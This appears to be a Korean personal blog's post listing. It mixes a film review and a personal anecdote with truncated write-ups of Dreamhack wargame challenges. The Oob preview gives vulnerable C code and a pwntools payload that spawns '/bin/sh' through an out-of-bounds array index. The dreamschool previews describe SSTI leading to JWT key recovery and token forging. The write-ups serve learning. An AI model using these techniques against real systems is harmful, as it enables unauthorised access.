감사합니다 116

영화 '메멘토'를 보고

예전 중학교 때 친구의 강력 추천을 받고나서 본 영화입니다. 지금도 저는 크리스토퍼 놀란 감독의 작품들을 정말 애정하는데요.. 솔직히 이 영화를 처음 봤을 때 마음의 준비를 하나도 안 하고 봐서 도대체 무슨 내용인건지 감이 잡히질 않았습니다. 중간 부분에는 아예 흐름을 놓쳐버렸구요. 그러다가 런타임기준 약 1시간 40분 되는 결말 부분에서야 '아 대충 이런 상황이구나' 정도만 감을 잡고 이 영화를 흘려보냈습니다. ​ 오늘 지난 한달 동안 열심히 공부했고 좋은 퍼포먼스와 성장을 보여주었기 때문에 (스스로) 특별 휴가를 받아 이 영화를 다시 볼 수 있는 기회를 얻게 되었습니다. ​ 결론만 말씀드리자면, 정말 대 만족 !! 일단 이 영화를 이해하기 위해 가장 좋은 영상 하나만 추천드리자면 https://www..

dreamhack rev-basic-9

흠냐 흠냐 주어진 문제의 함수를 분석해보면 간단하다 . 일단 입력한 값으로 xor연산 그 다음 바이트 가져와서 rax에 더한 후 eax로 옮기고 입력값에 대해서 ror 연산 5 수행 수행 조금 더 정제된 형식으로 표현하면 이전 바이트 값을 가져온 다음 이를 해당 위치의 key 배열 문자와 xor연산 나오는 값을 index로 하는 mem 값을 가져오고 이 값을 buf의 다음 바이트와 더한다 오른쪽으로 5번 rotation 하는 연산을 반복적으로 수행하고 있댜 ​ 수식적으로 표현하면 이렇게 된다 temp = rotl(buf[i * 8 + (8 - k) % 8], 5); temp -= mem[(unsigned char)(buf[i * 8 + 7 - k] ^ keyArray[7 - k])]; ​ buf[i * ..

호그와트 2022.02.14

드림핵 dreamschool ~~파도 ~~~ 별

지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다 일단 ssti취약점이 있다 !! 쿠궁 ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데 이는 ​ import jwt import datetime ​ pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CI..

호그와트 2022.02.11

오늘 아침에 있었던 황당한 일(feat.학생증)

오늘 아침 그냥 저냥 황당한 일이 있었다. 생각난 김에 블로그에 써보려고 한다. 오늘 학교에 가려고 차를 기다리고 있었다. 그런데 왠 이상한 캐리어를 끌고 다니던 아저씨가 대뜸 나한테 오더니 "너 여기 살아?" 이런 식으로 시비를 걸기 시작했다. 나는 이 아저씨가 나랑 누구를 착각한 건가 싶어서 "죄송한데 저랑 누구랑 착각한 거 같은데요" 라고 했더니 그 아저씨는 아니라고 우기기 시작했다. 설마 피지컬도 내가 훨씬 좋은데 대낮에 왠 이상한 아저씨가 내 삥을 뜯으려고 온 건가 싶어서 황당해가지고 나는 확실히 오해한 거 같다고 여러 번 말했다. 근데 그 아저씨는 나랑 비슷하게 생긴 잼민이한테 장난이라도 당한 건지 계속 시비 톤으로 딜을 넣으려 시도하고 있었다. 나는 사실 아직도 편의점에서 술 살 때 신분증을..

여러 이야기 2022.02.09

dreamhack Oob

int main() { int idx; ​ initialize(); ​ printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); ​ scanf("%d", &idx); ​ system(command[idx]); ​ return 0; } ​ 대충 이름을 물어보고 입력값을 받는다 배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다. ​ p.recvuntil(b"Admin name: “) payload = p32(name+4) payload += b”/bin/sh" p.sendline(payload) p.recvuntil(b"What do..

호그와트 2022.02.09

godbolt로 어셈블리어 이해하기

최근에 리버싱이나 어셈블리어 등을 아예 처음 접하는 사람들을 몇 분 만나서 하나씩 하나씩 다시 가르쳐주거나 이해시켜주어야 되는 일이 있었습니다 특히 정말 나이가 어린 분께 하나씩 가르쳐주는 건 어려운 일이었습니다 그러다보니 제가 리버싱과 어셈블리어를 처음 접했을 때를 떠올리게 되었습니다 ​ 리버싱 혹은 어셈블리어 등을 공부할 때 자주 듣는 말이 있습니다 “계속 접해보다보면, 계속 분석하다보면 잘하게 될거야” 너무나 맞는 말이라고 생각합니다 본인의 실력이 아직 얼마나 부족한 지 아는 저 역시도 계속해서 분석하고 슬로싱킹하면서 실력을 쌓아나갈 수 밖에 없다는 것을 너무 잘 압니다 지금도 분석하다보면 배우는 게 너무 많고 새로운 게 너무 많습니다. ​ 그런데 사실 초보분들이 가지는 문제점은 그 분석을 시작하자..

호그와트 2022.02.07

dreamschool (dreamhack)

문제에 딸려있는 dockerfile에 중요한 힌트가 있는 문제이다 원래 최신 버전에는 pub key만으로 개인키를 유추할 수 없게끔 되어있지만 이 문제는 의도적으로 그 부분을 삭제해버렸다 ​ 이 문제 안에는 중요한 취약점이 있는데 그 취약점을 통해서 pub key를 얻을 수 있도록 구성되어 있다 위에 말한 것처럼 삭제되어 있는 부분을 통해 개인키까지도 유추할 수 있도록 구성되어 있고 그것을 통해서 인증을 통과할 수 있다 ​ 그러나 자세히 보면 또 다른 인증이 있음을 알 수 있다 통과할 방법이 없는 거 같은데 그러면 어떻게 해야 하는 걸까? ​ headers = { 'cookie': f'token={token}'} url_base = 'http://host1.dreamhack.games:16766/s/드림..

호그와트 2022.02.02

드림핵 rev-basic-0

open subviews에서 새로운 string를 들어가서 input, correct, wrong이라는 가장 기본적인 함수에 기초한 필터링이 무엇인지를 파악한 하는 순간 답이 나온다 ​ 물론 그렇게 파악할 수도 있지만 맨처음에 제공하는 view-a형식에 나와있는 그래프를 보면 전체적인 함수가 무엇을 가리키는지 너무나 명확하게 나와있음을 알 수 있다 거기서 핵심적인 함수가 sub-140001190이라는 것 역시 어렵지 않게 알아낼 수 있다 그런 식으로 접근해보면 F5키를 눌러서 핵심적인 함수의 c언어 형태를 알아낼 수 있는데 그걸 보는 순간 if ( (unsigned int)sub_140001000(v4) ) puts("Correct"); else puts("Wrong"); return 0; 라는 단순한 ..

호그와트 2022.01.25

드림핵 rev-basic-1

rev - basic 00과 본질적으로 같은 문제였다 들어오는 값을 비교해서 맞으면 correct 틀린 경우 wrong 값을 출력하는 간단한 함수에 기반한 문제였다 00과 똑같은 방식으로 분석해보면 대략적인 if 문이 나오고 결정적인 함수가 나온다 숫자로 봤을 때 if문에 값이 무엇인지 한 눈에 들어오지 않았지만 r을 연속적으로 눌러주어서 비교하는 값이 무엇인지 차례대로 변경해주면 flag값을 간단히 얻을 수 있다

호그와트 2022.01.25